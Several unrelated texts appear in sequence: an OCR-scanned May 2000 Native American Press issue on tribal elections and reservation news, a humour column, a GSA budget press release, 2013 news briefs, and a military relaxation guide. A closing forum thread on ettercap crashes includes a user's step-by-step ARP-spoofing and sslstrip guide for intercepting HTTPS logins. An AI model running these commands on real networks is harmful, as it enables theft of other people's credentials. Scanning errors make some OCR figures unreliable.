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..-'.... - ,"; . ' INDEX News Around Indian Country 2 News Briefs 3 Commentary/Editorials/Voices 4 Smoke Signals of Upcoming Events 5 4*-*' Not enough tribal Commentary Commentary Two reports *f£— -s. <w Red Lake tribal ^^1 election results members willing White guilt about past Mille Lacs pollution scare from Leech Lake "*/ to take census jobs wrong is misplaced, just a tactic candidates forum at *(^ft b )** on reservations easy way out Palace Casino Classifieds 6,7 pg 3 pg4 pg4 pgi n^#)p9i Leech Lake candidates forum held at Palace Casino Voice of the People web page: www.press-on.net By Jeff Armstrong With less than a month remaining before the June 13 Minnesota Chippewa Tribe (MCT) elections, about 100 Leech Lake tribal members gathered at the Palace Casino May 23 to question candidates in the runoff elections for chairman and District 111 representative. In response to a question from the audience on per- capita payments, incumbent chairman Eli Hunt quipped, "That's a $9 million question." The Leech Lake chairman said he favored the proposal in principle but that there is insufficient casino revenue at this time. Hunt said gaming funds, which he said are being used to supplement and maintain state and federally-funded reservation programs, would have to be doubled to allow for distribution to reservation enrollees. Until then, Hunt said he would continue to favor investing casino proceeds in post-secondary education scholarships and other areas. However, Hunt said he would consider allowing per- capita payments from a S20 million MCT land claim settlement pushed by the U.S. Justice Department," which the chairman agreed to support in 1997 in return for half the money being distributed to Leech Lake. After Hunt reversed his opposition to the settlement and sponsored a controversial "non-constitutional" tribal referendum, the TEC voted to distribute the funds equally between the six reservations. Chairman challenger Lenee Ross said he would personally oppose distributing gaming profits to tribal members, but would submit the question to a referendum vote to allow the people to decide. Ross said he would instead favor investing the funds into a reserve fund to build for self-sufficiency from external government funding. "If each Leech Laker got SI,000, that would amount to $8 million," Ross said, an amount equivalent to the reservation's entire annual net gain from gaming. CANDIDATES to pg. 6 By Diane White Over and over again, the theme ofthe Leech Lake candidates forum was about equality, oppression, nepotism, per capita payments, and constitutional reform. There were about 75 constituents present, mostly politically astute tribal members who are concerned about tlie future ofthe reservation. Noticeably absent were the reservation's top administrative employees. Noticeably present was Alfred "Tig" Pemberton, who was not allowed to run for chairman because ofhis criminal history of felonies when he last held the office in the mid- 1990s. Tlie candidates for chairman ofthe Leech Lake Band of Chippewa are incumbent Eli Hunt and challenger Lenee Ross. The candidates for District III Representative are incumbent Richard Robinson and challenger Arthur "Archie" LaRose. All candidates affirmed they graduated from High School. Eli Hunt has graduated from the Brown Institute in Minneapolis for Radio Broadcasting. Lenee Ross graduated from Bemidji State University in 1983 with a Bachelor of Science degree in History, graduated from University of Wisconsin-Superior in 1989 with a Masters degree in Science Education, and is currently in the final stage of completing a Doctorate from the University ofMinnesota in Education Administration. Richard Robinson graduated from Bemidji State University in 1975, but did not state the emphasis or level ofhis degree. Archie LaRose has not gone on to post-secondary education. Casino personnel issues Tribal members have been voicing their concerns about abusive treatment by gaming managers, namely Brian Mayotte, Mel Hunt and Rodney White. In Febru- LEECH LAKE to pg. 6 Native American Press ?< <ve& Ojibwe News We Support Equal Opportunity For All People A weekly publication. Copyright, Native American Press, 2000 Founded in 1988 Volume 12 Issue 32 May 26, 2000 Red Lake tribal election results By Julie Shortridge The Red Lake Tribal elections for four district representative seats were held XVednesday, May 17. In races where no candidate received 50% ofthe vote or more, the two top vote-getters will compete in a run-off election, to be scheduled in mid-July or early August. Lawrence Bedeau in the Little Rock district is the only candidate to win his race with more than 50% ofthe vote, and so will not face a run-off election. Bedeau received 141 votes; 140 constituted 50% ofthe vote in that race. Those in bold will compete in a runoff election. RED LAKE Becker County, White Earth Tribe pursuing jail plans Fabian "Nickel" Cook 377 Gerald "Butch" Brun 327 Ronald L. Cobenais 66 REDBY Allen D. Pemberton 84 Preston Graves 73 Thomas "Jambi" Westbrook 72 Robert G. Head, Sr. 70 Collins W. Oakgrove 44 Roger "Spank" White 44 Joyce Oliver-Roy 42 LITTLE ROCK Lawrence Bedeau 141 Michael F. Beaulieu 94 Mary M. Sumner 46 PONEMAH Rudv W. Johnson 95 Bruce W. Stillday 79 Randall "Jiggs" Kingbird 67 Thomas Stillday, Jr. 48 Myron Kingbird, Sr. 25 Robert Earl Fairbanks 17 Excerpted from Nathan Bowe Detroit Lakes Tribune Both Becker County and the White Earth Tribe continue to pursue plans for a regional jail, in spite of Gov. Jesse Ventura's recent veto of SI .75 million earmarked for new regional jails. The $ 1.75 million would have been used as a competitive pool of money for county regional jail projects, said tlie author of the bill, Sen. Randy Kelly, DFL-St. Paul. Tlie White Earth Tribe, which wants to build a regional jail on the reservation, and several counties involved in their own regional jail effort have been holding talks, but have not come to any agreement on a cooperative effort. "We're still aggressively pursuing tlie tribal theory of putting thejail up on the reservation and renting space out to the counties," said interim White Earth Police Chief Rusty Pavey. "We want to have a partnership with foe counties. We want facilities that are accredited by the American Correctional Association - that's the highest accreditation you can get for a jail - and we still want full drag and alcohol treatment in it" The tribe lias talked with Cornell, a private corrections company in Houston, Texas, about building a facility on the reservation, perhaps in the Waubun area, Pavey ■ said It would be run by an administrator hired by a governing oversight board, which would operate independently ofthe Tribal Council. Tlie Tribal Council has not approved any of these provisions. They remain in the talking stage, Pavey cautioned Cornell runs a correctional lacility in SanteFe, N.M.,thathasahighAmerican Indian population and emphasizes treatment programs, Pavey said "Cornell seems to lead the industry in having treatment in jail. It's not just 'stack and rack,'" he said And Cornell would cover building costs if the tribe and surrounding counties commit to a certain occupancy level, he said "I'd like to see some strong commitment from tlie counties," he said "Kind of parallel to what we did on the law enforcement agreement We certainly lived up to what we said we'd do - ifyou look at Mahnomen County it's just woiked out wonderfully this last year" But Becker County SheriftTom Hunt said there are legal issues with the county paying for jail construction on tlie reservation outside tlie county borders. Tlie tribe could just as easily commit to tlie counties' regional jail effort he said "We would put treatment in," he said "We have in-house treatment here now, but it's limited and we could expand that" That isn't to say the country wouldn't use a tribal jail if one is built "Would we use the lacility? "If it's built and beds are available we could use it as long as legal issues are taken care of" Hunt said he is pursuing plans for a minimum security jail, though it may not be in tlie former Evans grocery store building. "We will probably try to do something locally here with the Economic Development Authority," he said. "They're talking about a stand-alone building that we could put anywhere." An EDA proposal to convert tlie former Evans building into a minimum security jail and county office complex met with a firestorm of protest from resident ofthe north side of Detroit Lakes, and the idea has been put on hold "We're not going to back off from that (pursuing a minimum security jail)," Hunt said. "I just can't wait on this. That's one of Ihe reasons I went after the situation with Evans." The county will continue to pursue its regional jail plans, he added But for the short term, the focus will be on securing a minimum security jail in the Detroit Lakes area. Pictured: (Above) Annie Humphrey at CD release concert on May 18; (Left) l-r: Chuck Robertson, Annie Humphrey, member of Ulali!, Dennis Banks and Floyd Westerman join in a song Photo credit: Myron Wolf, image one studios Singer/ Songwriter Annie Humphrey releases new CD at gala event By Julie Shortridge Anishinaabe singer-songwriter Annie Humphrey released her new CD, "The Heron Smiled," (Makoche productions) at a star-studded evening music event May 18 at the Cedar Cultural Center in Minneapolis. Several hundred people attended the standing-room only music spectacle to hear musical group Ulali!. singer/ songwriter/guitarist Bill Miller, flutist Brent Michael Davids, drummer/singei Dennis Banks, singer/guitarist Haley Peterson, singer Floyd Westerman, among others, celebrate Humphrey's latest work as a rising star on the Native music scene. Chuck Robertson served as M.C./comedian. "I hope you win Grammys," said a member of Ulali! to Humphrey. Humphrey, of Cass Lake, began writing songs as a child and has been performing for over 14 years. On her latest recording, friend John Trudell con tributes poetry and vocals. (Music Review on page 5) School racial complaint under investigation Oglala Sioux struggle to resolve dispute over tribal government Pine Point School project awarded state funding Excerpted from Nathan Bowe Becker County Record White Earth tribal officials were celebrating May 16 after Gov. Jesse Ventura gave his blessing to the $4.1 million Pine Point School project in Ponsford Lawmakers last week passed a capital improvements bill that included funding for a new K-8 school for the Pine Point School District, tlie geographically smallest school district in the state. "This is a great day for the White Earth Tribe and the Pine Point community," said Tribal Chairman John Buckanaga. "We worked long and hard to lobby, testify andjustify our great need fora school with the appropriate legislators. Tlie Pine Point School was built in 1937 and expanded in 1956 and 1978. It has no gymnasium, art room, science lab or music room. The architectural firm working on the project said the building is obsolete, a tire hazard and does not comply with building codes or handicapped-accessible requirements. "This school is for a community that is developing additional housing and moving ahead," Moe said. "Without the taxing authority to build a new school, a strong state commitment was needed to get this project off the ground." The Legislature also approved S11.2 million for a new school building for the Red Lake School District and S7.5 million for a new building for the Cass Lake School District as well as $4 million for a new building for the Ulen-Hitterdal School District. Buckanaga pointed out that tlie new community center to be built at Pine Point will abut the new school. The community of Rice Lake is next in line for a community center, followed by the village of White Earth, he said. EPA awards grant to Red Lake to study potential contamination at sawmill Excerpted from Brad Swenson Bemidji Pioneer A federal grant will help the Red Lake Band of Chippewa assess potential contamination problems at its former sawmill in Redby. The U.S. Environmental Protection Agency announced May 18 that the tribe was awarded a §200,000 Brownfields Site Assessment Grant, one of 20 grants totaling S5.6 million given to local communities and organizations in the EPA's Region 5 of Illinois, Indiana, Michigan, Minnesota, Ohio and Wisconsin. The Red Lake Band is the first tribe to receive a Brownfields grant in Region 5, EPA said. The grant will be used to assess the extent of contamination at the former sawmill and wood treating facility operated by the U.S. Bureau oflndian Affairs for more than 75 years in Redby on the shores of Lower Red Lake. The tribe applied as a pilot program for Indian nations, Red Lake Tribal Chairman Bobby Whitefeather said the night of May 18. "We want to demonstrate how we will perform an assessment and the cleanup of an area that was utilized as an industrial site," he said. "It's an attempt by an Indian tribe as to how we're going to proceed -1 understand there are a lot of sites on Indian reservations throughout the country where industrial activity has taken place EPA to pg. 5 The Fargo Forum BEMIDJI, Minn. - The U.S. Department of Education Office for Civil Rights has opened an investigation into alleged racial discrimination condoned by the Win-E-Mac School District. The northwestern Minnesota school district, comprised ofthe communities of Winger, Erskine and Macintosh, is about 50 miles west of Bemidji. The civil rights complaint alleges the district subjected two American Indian students to discrimination on the basis of their race. Specifically, the complaint alleges that the two students were repeatedly harassed by other students using racially derogatory terms against them during the current school year. The complaint also accuses district employees of dressing as "cowboys and Indians" during a March 17 pep fest at the district's high school in Erskine. The pep fest was held prior to a section final game against the Red Lake Warriors boys' basketball team. The complaint quotes one staff member as saying at a pep fest, "There's been an uprising on the reservation and it's up to Win-E-Mac to send them back." On the same day, the complaint says, the two Indian brothers were verbally and physically assaulted by other students both in the school and on the bus ride home. Win-E-Mac Superintendent Gail Sells did not return phone calls. By Chet Brokaw Associated Press PINE RIDGE, S.D. - Dale Looks Twice gets angry when he considers why people on the poverty-stricken Pine Ridge Indian Resen'ation don't share in the nation's prosperity, don't share in the American Dream. Tens of millions of dollars, much of it from federal agencies, is spent on government programs on the southwestern South Dakota reservation each year, he says. Yet the Oglala Sioux have a high unemployment rate, and government reports have tagged Shannon County as the nation's poorest county. "What do we have? Nothing." Looks Twice says. Looks Twice and others believe the Oglala Sioux Tribe's government structure is a big part of the problem. That's why they took over the tribe's headquarters building Jan. 16. Four months later, they still refuse to let the tribe's elected leaders back into their offices. The protesters allege tribal officials are corrupt and have mismanaged money. They say they will not leave until audits are completed and tribal Treasurer Wesley "Chuck" Jacobs is removed from office. Independent audits are being done, but Jacobs has not been fired. Jacobs and tribal council members say tribal money has not been mismanaged. They say the dispute arose because budget problems forced them to cut spending on some programs. Robert Ecoffey, the Bureau of ln- "It's not the individuals we dislike, but it's the system they're in that has made them the way they are." dian Affairs superintendent in Pine Ridge, says the current system is based on democracy and does not foster corruption. "If some of tlie people have done something wrong, that will come out and they will be dealt with," Ecoffey says. "To say the whole system is corrupt is totally untrue." Meanwhile, the protesters have been working with a council of elders on a plan to get rid ofthe government structure set up under a 1934 federal law. They want to replace it with a traditional form of government similar to what tlie Lakota had before they were confined on reservations. The dispute also has created uncertainty for a variety of economic development programs proposed by President Clinton during a visit to Pine Ridge in July. Four months after tlie protesters took over the Red Cloud Building, Looks Twice and others use the offices usually occupied by the tribe's president, council and other officials. The electricity and telephones remain working. The group keeps a supply of crackers, cold cuts, salad and other food on two tables in a hallway. Meals are cooked on an electric hot plate. Tribal President Harold Salway tried to suspend Jacobs last year, but a tribal judge reinstated the treasurer. Salway now has been suspended by the tribal council, which alleges he mishandled money meant for tornado victims. Salway tried unsuccessfully to suspend all but four members ofthe council after he said they were meeting illegally. Vice President Wilbur Between Lodges now runs tribal government from an office in tlie comer ofa bingo sioux to pg. 6
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BORN TO RUN: We are in the exploratory phase of launching a campaign for a council seat in the 5th District in the 2014 election.
There's a lot of what we call "upside" to running in the fightin' 5th. For one thing, we can't lose. What sort of crackpot wouldn't vote for us?
For another, it's an easy job. Basically, you slop some tar around to fill up potholes, keep the trains running on time, build a dog park and hire the Elm Street Band four times a year to play at El Dorado Park and you're golden. A caveman could do it.
Here's a bit of a problem, though: We're not sure we were born in the United States. We're pretty sure we were born in Long Beach. We were always told we were born at St. Mary Medical Center.
We even have sort of phantom memories of being walloped into our first breath by Sister Alphonsus on a chilly January morning in 1955.
Yet, stunningly, we have our detractors in the frolicking 5th, difficult as it is to believe, who claim we were born in Switzerland, which, in fact, is the only place in the world that has more Grobatys than Southern California has, though we're fairly certain we've never been there.
We have seen our birth certificate. We might even have it somewhere around here. It claims we were born in Long Beach, but the thing is, it does look sort of bogus. We recall it has a little foil seal on it of the sort that comes on a World's Greatest Dad certificate.
And, while our birth announcement - our glorious birth announcement - was in the Press-Telegram, we happen to know that those announcements came from the various hospitals and they were just slapped into the newspaper with no further investigation regarding their veracity. One crooked orderly could change history.
We just read that the secretary of state in Arizona has threatened to keep your President Obama's name off his state's ballot if the state of Hawaii doesn't once and for all end the haziness and doubt surrounding the president's supposed "birth" in that state. Quit horsing around, in other words, with just producing birth certificates and newspaper announcements and come up with something more, oh, birthy.
If that sort of natal brouhaha can happen with the president, we can only imagine the field day the press will have with us. Suspiciously absent in our case is a videotape, or even 8 mm documentation of the Blessed Event. And the two people who could best vouch for the place of our birth - our mom and Sister Alphonsus - are both out of the picture, livingwise.
So, our incipient campaign remains in the exploratory stage and, frankly, we're losing our youthful enthusiasm and optimism.
We'll have to wait and see how things progress in Arizona.
BOOK TOUR 2012!: As long as we're on the subject of us, the latest leg of the 2012 "Long Beach Chronicles" World Tour swings through our (supposed) hometown at 8 Wednesday evening when the opulent tour bus pulls up to Gallagher's Irish Pub & Grill, 2751 East. Broadway, for the weekly Pub Trivia Quiz, hosted by the affable Kevin Prendergast.
Quizists pony up $5 each either as teams of 4 to 6 or as freelance trivia mercenaries to clump up with others and answer rounds of seven questions in various categories, one of which Wednesday will be Long Beach Trivia, or, more precisely, "Things You'd Know If You've Bothered to Buy and Read 'Long Beach Chronicles.'"
Almost as if by miracle, copies of the books will be for sale and the author will sign them for next to nothing, or less.
Come down for a pint or two and some great Irish food which, does indeed, exist.
Then, the bus travels clear across town to the Far East section of Long Beach at 6 p.m. Thursday at the lovely and intriguingly stocked Gatsby Books, 5535 E. Spring St., where we appear - which, normally, would be grand enough - but we'll also sign, and maybe even read from the book, at least until people start hollering at us to speak up, at which point we'll petulantly stride out of the store and into the cozy confines of our motorcoach.
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Doan Champions GSAs Clean Audit and Fiscally Responsible Budget before House Subcommittee
April 3, 2008
Contact: Diane Merriett, (202) 501-1231
WASHINGTON –- The GSA Administrator Lurita Doan, in testimony today before the House Subcommittee on Financial Services and General Government, detailed and supported the U. S. General Services Administration's $20.9 billion fiscal year 2009 budget.
"GSA is better off today than it was a year ago. This year we are proposing more new and exciting ideas in the GSA FY 2009 budget request. We have returned to fiscal discipline and have proposed several innovative new priorities in construction and federal procurement," said Administrator Doan. "The budget is balanced. We have a clean audit. We have restored and strengthened the trust and confidence of our largest customers: The Department of Defense and the Courts. This is a fiscally responsible budget request that will continue GSA's commitment to excellence in the business of government."
The FY 2009 budget request is the first submitted within the framework and under the direction of GSA's 2007-2012 Strategic Plan. GSA's new Strategic Plan establishes a new mission, new strategic goals, and re-affirms GSA's core values of "Integrity," "Accountability and Transparency in Operations," and "Effective Leadership and Responsible Decision-Making." The FY 2009 budget request includes some funding realignments necessary to fulfill GSA's mission of leveraging the buying power of the federal government to acquire best value for taxpayers and our federal customers. GSA has proposed some funding decreases and some limited funding increases that are specifically targeted at their new strategic goals of "Stewardship," "Superior Workplaces," "Best Value," and "Innovation."
GSA's FY 2009 budget requests a total of $481.6 million in discretionary budget authority, just 2.2 percent of the agency's total budget. The remaining funds come from payments for products and services that GSA provides to other federal agencies. The $481.6 million request includes $300.2 million in net budget authority for the Federal Buildings Fund, $172.9 million for GSA operating appropriations, and an additional $8.5 million to support the transition to a new Presidential Administration following the November 2008 general election. GSA supports Presidential Transition by providing office space, furniture, and information technology equipment and services to both the incoming and outgoing administrations.
The $172.9 million requested for GSA's operating appropriations would fund critical operations, including: governmentwide policies on acquisition, travel, technology, and the management of real and personal property assets; GSA's internal management and administration; real and personal property disposal programs; and a wide variety of direct citizen services, including operation of USA.gov and GobiernoUSA.gov, the official web portal of the U.S. government.
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Democrat Markey wins Senate election to replace Kerry
Boston • Longtime Democratic U.S. Rep. Edward Markey defeated Republican political newcomer Gabriel Gomez in a special election on Tuesday for the state's U.S. Senate seat long held by John Kerry, a race that failed to draw the attention that the state's 2010 special Senate election did.
Markey, 66, won the early backing of Kerry and much of the state's Democratic political establishment, which was set on avoiding a repeat of the stunning loss it suffered three years ago, when Republican state Sen. Scott Brown upset Democratic state Attorney General Martha Coakley in the election to replace the late Democratic Sen. Edward Kennedy.
Markey had an advantage of about 8 percentage points over Gomez with most precincts reporting late Tuesday, according to unofficial returns.
Iowa town under flood watch as creek crests near record
New Hartford, Iowa • Hundreds of people have fled their homes following an evacuation order in a northeast Iowa town that's threatened by a rain-swollen creek.
The Butler County sheriff and other emergency officials were in New Hartford on Tuesday to help with the mandatory evacuation.
New Hartford, nearly 90 miles northeast of Des Moines, was devastated in June 2008 when Beaver Creek crested at a record 15.7 feet. The National Weather Service says more than 7 inches of rain fell Monday in portions of the Beaver Creek basin, ground that was already saturated.
The creek crested at 15.15 feet by 7:45 a.m. Tuesday.
Judge in Trayvon Martin case weighs police calls evidence
Sanford, Fla. • Several times in six months, neighborhood watch captain George Zimmerman called police to report suspicious characters in the gated townhouse community where he lived. Each time, when asked, he reported that the suspects were black males.
On Tuesday, the judge at Zimmerman's murder trial in the killing of 17-year-old Trayvon Martin listened to those five calls and weighed whether to let the jury hear them, too.
Prosecutors want to use them to bolster their argument that Zimmerman was increasingly frustrated with repeated burglaries and had reached a breaking point the night he shot the unarmed teenager.
Judge Debra Nelson did not immediately rule on whether to admit the recordings.
Man savagely beats woman in front of child in home invasion
Millburn, N.J. • Police are searching for a man who appears on a hidden-camera video repeatedly beating a New Jersey woman in front of her young daughter during a home invasion.
The attacks occurred Friday in a room where the woman and her 3-year-old daughter were sitting on a couch watching cartoons. The nanny cam video shows the man punching and kicking the woman. Police say he had forced his way into the home.
The woman said she didn't scream during the beatings because if she did her daughter would have and she didn't want the girl to get hurt. The woman suffered a concussion, chipped teeth and cuts. The girl wasn't injured.
The man fled with the woman's wedding ring and other jewelry.
Police Capt. Michael Palardy said he was revolted by what he saw the man do to the woman on the video. "There was no reason for him to touch her at all because she would have willingly gave him what he wanted," Palardy said. "I've probably gone through this video 20 times, and it still sickens me every time I see it. He had no regard for her life. He didn't care if she lived or died."


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Performance Strategies: Optimize Your Body's Response
The human body's potential to optimize its internal resources enables it to accomplish incredible feats—from lifting great amounts of weight to running long distances. Upon activation, senses become heightened, muscles contract, and key systems engage and accelerate in unison. The body becomes primed for action, with the task at hand dictating the appropriate activation level. This Performance Booster assists warriors in modulating their body's fight/flight response system and thereby enables them to optimize their internal resources to accomplish greater physical feats when needed.
Controlled Response System
The Controlled Response (CR) System within the body is made up of key organs that, when activated, reallocate internal resources to optimize human performance. Breathing and heart rates increase, muscles contract, and blood circulation is redirected. This chain reaction leads to an explosive increase in energy use. Similar to a car, the human body has the capacity to "overdrive" for short durations. Activation is automatic—triggered by a positive threat assessment. Optimal performance is achieved through the ability to modulate within and across various "Zones." See Table 1 for examples of proper Zone modulation.
Table 1. Performance Zones and the CR System. In the White and Green Zones your heart rate, blood pressure, muscle tension, and breathing rate are low while digestion and brain function are high. Typical activities in the White, or "Parked," Zone are sleeping or reading a book. In the Green, or "Idle," Zone, activities might include socializing with a friend or just working on a job. In the Yellow and Red Zones, heart rate, blood pressure, muscle tension, and breathing rate are high (and get higher when moving from the yellow to the red zone), whereas digestion and brain function are low. In the Yellow, or "Ready," Zone you might be on the sideline of combat, such as patrolling. In the Red, "Overdrive," Zone you are "in the game"—in contact during combat.
Strategy #1: State Awareness
Optimal performance at any activity can be achieved through proper Zone modulation. For instance, lifting weights calls for activation and then modulation to Yellow or Red Zones due to the need for increased muscle contraction and explosive power. Conversely, initiating and maintaining a restful sleep pattern comes with a decrease in your body's activation process to within the White Zone.
Important: Mastering the ability to modulate to and from Zones is key to performing well at any task—personal and professional. Lack of mastery can be seen in difficulties achieving desired goals and in degraded performance at any level. For instance, the inability to modulate from Red Zone to White Zone can be seen in difficulties falling and staying asleep. Similarly, the ability to control fine motor skills becomes compromised while operating in the Red Zone and can be hazardous for pilots, EOD members, and medical personnel. It can also negatively impact your relationships (more on this later).
Recognize what Zone you are currently operating in. Check your body's state before engaging in any task. The following are examples of what your body should be feeling when in each Zone:
White: Muscles relaxed, hands and feet warm, breathing in stomach, mind quiet but active.
Green: The proper muscles for a task are being used hands and feet warm, breathing is maintained in your diaphragm, mind feels clear, attention is focused and directed on something, and concentration is good.
Yellow: When you move from Green to Yellow, your blood circulation moves from your hands and feet to support increased heart rate, breathing moves to your chest, respiration increases, digestion slows, brain function begins to decline, and thinking becomes difficult.
Red: In the Red Zone your muscles are fully engaged for speed and power, heart rate is rapid, breathing is from your chest, digestion is minimal, brain function is at its lowest, and reactions are instinctive.
Table 2 (below): Examples of well-Zoned activities—in the right Zone for the activity. When parked in the White Zone, examples of appropriate activities include sleeping at bedtime whether you are doing sports, in a combat zone but off duty and at home, listening to relaxing music at home or an athletic activity, and relaxing in bed when in a combat environment. In the jdle, Green Zone, athletics-related activities include socializing or studying a playbook; in a combat environment, playing cards or eating at DFAC; and at home, driving your family to a movie or having a meaningful talk with your spouse. In the Yellow, ready Zone, suitable activities in an athletic environment include getting ready to press weights at the gym or in the huddle at a game; in combat, patrolling or driving in convoy; at home, driving in bad weather conditions. When in overdrive in the Red Zone, examples of appropriate athletics-related activities are lifting weight at the gym or when the ball is snapped at a game; in the combat environment, examples are taking contact or responding to IED; at home, they include running with a partner or wrestling with your kids at the park.
Table 3 (below): Examples of poorly-Zoned activities—in the wrong Zone for the activity. You are in the wrong zone for the activity if you are in the White Zone when your are on the line ready to hike the ball (athletics), standing tower guard (combat), or taking your military physical fitness exam (at home). Examples of wrong activities for the Green Zone are: lifting 300 lbs off the bar (athletics), approaching an area known for insurgent attacks (combat), and defending yourself during combatives (at home). You should not be in the Yellow Zone when studying a playbook (athletics), lying down on your cot to sleep (combat), or standing in line at the commissary (at home). And the same goes for being in the Red Zone for these activities: discussing your point of view with your coach (athletics), negotiating with village elders at a meeting (combat), or relaxing at home.
Strategy #2: Recalibration
Prolonged activation of your "Overdrive" system can disrupt the ability to control activation sequences. Your system becomes extremely sensitive to activation, and any perceived threat, no matter how small, will FULLY engage your "Overdrive" network (e.g., your Zone for a firefight should be different from your Zone for an argument with a colleague or waiting in line at the DFAC). However, continuously activating your "Overdrive" system overrides your ability to tell the difference; the connection between mind and body becomes severed. The human body, like any weapon system, requires regular recalibration to maintain a high level of performance. You can help your body recalibrate through various strategies—some are described below.
Recalibration Method 1: Breathing Retraining
Practicing breathing from your diaphragm for at least 10 to 15 minutes each day will assist in CR System recalibration. As you become more comfortable breathing with this technique, you will notice improved control over your Zone modulation efforts:
- Get comfortable, sitting or standing, and relax your neck and shoulder muscles.
- Place one hand on your upper chest and place the other hand at the bottom of your ribs, just above your waistline. Use your hands to feel the movements as you breathe.
- Take a breath in through your nose so that you feel your hand on your stomach move outward. Do not let your shoulders move up. You should not feel movement of your hand on your chest. Think of expanding your lungs down toward your toes.
- Breathe out S-L-O-W-L-Y and gently through your mouth with your lips fixed as if you were going to whistle or blow out a candle. The hand on your stomach moves in as you breathe out. You may need to pull in your stomach muscles at first to help move your diaphragm up. Exhale at least twice as long as you inhale.
Recalibration Method 2: Progressive Muscle Relaxation
Progressive Muscle Relaxation (PMR) can also assist in CR System recalibration and re-establishing the connection between your mind and body. Through daily practice, you can achieve greater control over physical resources and modulate your Zone responses, which will improve your performance on and off the battlefield.
PMR involves the systematic conscious tensing of muscle groups: Start with the head and work down to the feet. Each contraction and release is paired with cue words such as "calm" and "tense." These labels serve to re-educate you to identify various states of activation and refine your modulation control. For a full description of how to do PRM, read pages 6-7 of the Controlled Response section of the OSOK Solo handbook.
Strategy #3: The Relaxation Response
Your body's natural state of relaxation is the opposite of the fight-or-flight response. You can activate the relaxation response in your body by following Dr. Herbert Benson's simple steps1:
- Sit quietly in a comfortable position and close your eyes.
- Deeply relax all your muscles, beginning at your feet and moving up to your face.
- Breathe through your nose and become aware of your breathing. As you breathe out, say the word "one" silently to yourself. For example, breathe in...out, "one,"…in…out, "one," etc. Breathe easily and naturally.
- Continue for 10 to 20 minutes, and then sit quietly for several minutes after you finish.
- Do not worry about whether you are successful in achieving a deep level of relaxation. Maintain a passive attitude and allow relaxation to occur at its own pace. When distracting thoughts occur, don't dwell upon them.
(Note: With practice, your body's ability to relax will happen with less effort. Try practicing the technique once or twice daily, but not within two hours after any meal, since your digestive processes can interfere.)
1 Benson, H. & Proctor, W. (2010). Relaxation Revolution: The science and genetics of mind body healing. Scribner: New York, NY.
Warning Signs of Poor Zone Modulation
Relationships: Remaining in your "Overdrive" state can blur and even destroy your ability to communicate. This could significantly hinder your relationships with your unit, your friends, and your family members. The natural stress response of the body that helps you remain hyper-vigilant in battle often takes some time to re-adjust/reset once you are back home or off the range. If you find yourself suppressing your emotions, being more irritable than normal with your loved ones or buddies, and being easily angered or feeling numb, you are not in the right Zone for optimal performance. For strategies on how to boost communication, see the HPRC's Family & Relationships section.
Sleep: Achieving a restful pattern of sleep can help improve control over modulation efforts. Lack of sleep can compromise muscle control and contribute to faulty threat assessments and activation. Lack of sleep also heightens sensitivity to Yellow or Red Zones (see OSOK's Recharge Module and HPRC's Sleep Optimization page).
Performance Based Nutrition: Regular use of stimulants, especially as substitutes for sleep, can distort interpretation of body cues and lead to difficulties in disengaging Overdrive and modulating out of the Red Zone. Nutrition fuels performance, so eating a well-balanced, healthy diet is key to preparing your body to respond optimally (see HPRC's Nutrition section).
Mind Tactics: The mind is the control center that influences how physical resources are used. Internal thoughts and images can either enhance or detract from your ability to regulate your CR System and control your Zone modulation. Learning how to use these techniques to your advantage can be a significant resource in optimizing your body's response (See OSOK's Mind Tactics Module and HPRC's Mind Tactics section).


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r083rtCode:sudo apt-get remove --purge ettercap-gtk sudo apt-get remove --purge ettercap-common sudo apt-get install ettercap-gtk
I just upgraded from BT4R2 to BT5 Gnome 64 on my Toshiba Satellite P305-S8823. Everything runs great airmon-ng, wireshark, and firefox installed adobe flash and synaptic, all working properly. But when I start Ettercap-gtk, unified sniff, scan for hosts -> and the ettercap's gui locks up, I've left it running for several minutes hoping it would resolve it self with no luck. I haven't even edited etter.conf yet... Anyone else having this problem?
r083rtCode:sudo apt-get remove --purge ettercap-gtk sudo apt-get remove --purge ettercap-common sudo apt-get install ettercap-gtk
purging and reinstalling does not help
ettercap is crashing after scanning 1023 hosts, no hosts are added to list
have you setup ettercap use the command side and report back heres a little guide I wrote to help you
hold shift + press w then tCode:nano /etc/etter.conf
enter line 17 and you will see these lines you must change to 0
ec_uid = 65534 # nobody is the default
ec_gid = 65534 # nobody is the default
to this
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
hold shift + press w then t
type 1 then
hold shift + press w then t
type 168 and change the following lines
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
to this
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
press ctrl+x and y to save
now time to start ettercap and sslstrip
start ettercapCode:echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
just a word of warning // // will arp the whole network and depending on the size it can slow the network down to a crawl if you are using a very slow computerCode:ettercap -T -q -M ARP // // -i (interface)
you are better off using a selected host or hosts
to get your gatewayCode:ettercap -T -q -M ARP /gateway/ /target/
now start sslstrip to strip the https (Hypertext Transfer Protocol Secure) back to http((Hypertext Transfer Protocol)Code:netstat -nr
open a new terminal
you can also use other sslstrip optionsCode:sslstrip -l 1000 -w capture.txt
-k kill all other sslstrip existing operationsCode:sslstrip -k -f -l 10000 -w capture
-f favicon (the little lock icon ) pointless icon if anyone needs to be reassured just check the https heading when logging in if its (http) and not (https) it has been stripped or an error
-l listen on port 10000 all info form port 80 which is http will be redirected to port 1000
-w write the stripped code to specified file
WHEN QUITTING ETTERCAP PRESS 'q' DO NOT JUST CLOSE THE TERMINAL THIS WILL RESULT IN DOS(denial of service) the arp needs to be resolved
with sslstrip exit by pressing ctrl+c
there is a hell of a lot more to it than this but im just giving you the basic to use the tool the rest is for you to learn
Last edited by r083rt; 05-13-2011 at 10:20 PM.
Curses seems to be working
Thanks for the help.
Unfortunately. Ettercap-gtk still doesn't work (on my Satellite P305-S8823). I tried booting off the DVD to verify it wasn't some mistake I made. Still no joy. I tried running the same disc on another laptop (Satellite L645): Ettercap-gtk works great! Conclusion I have a hardware configuration problem. Probably need to tryout different drivers.
Thanks again,
Got problems with ettercat-gtk.
when i start it and try to sniff any from thos two options he just close it self. i try remowe and r083rt thing but no helping.
Any know what might be a problem ?
